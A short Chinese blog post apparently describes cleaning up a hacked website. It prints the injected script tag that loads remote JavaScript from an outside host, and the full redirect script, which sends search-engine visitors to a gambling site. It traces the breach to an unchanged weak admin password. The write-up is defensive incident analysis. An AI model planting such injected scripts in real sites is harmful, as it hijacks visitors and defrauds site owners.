抓一个小黑客的蜘蛛劫持 低端黑客活动

潍坊华邦网络 2018-10-07 16:36:57 1.8K 0

链接如果失效，点此上报

抓一个小黑客的蜘蛛劫持

一个网站前几天被挂了广告代码，经过排查发现是交付后台后，对方没有修改密码，清理了一下，今天发现还有劫持现象

用attrib命令显示了所有可能隐藏的文件，没有发现劫持文件，再排查发现一个文件挂上以下JS 

<script language="javascript" type="text/javascript" src="http://t.cn/Rk85MEq"></script>

http://ap.uuv1.com/js/yy.js

代码如下

if (window.name != 'ad_app6') {var r = document.referrer;r = r.toLowerCase();var aSites = new Array('google.', 'baidu.', 'soso.', 'so.', '360.', 'yahoo.', 'youdao.', 'sogou.', 'gougou.', 'anquan.', 'haosou.', 'bing.', 'sm.', 'wow.', 'souxia.', 'g363.');var b = false;for (i in aSites) {if (r.indexOf(aSites[i]) > 0) {b = true;break}}if (b) {self.location = 'http://www.yuhe.tw/';parent.window.opener.location = "http://www.yuhe.tw/";window.adworkergo = 'ad_app6'}}

判断是不是搜索引擎来源是的话 就劫持跳转到一个台湾“菠菜“网站，一个后台弱口令漏洞引起的小黑客捣乱，安全没有小事情。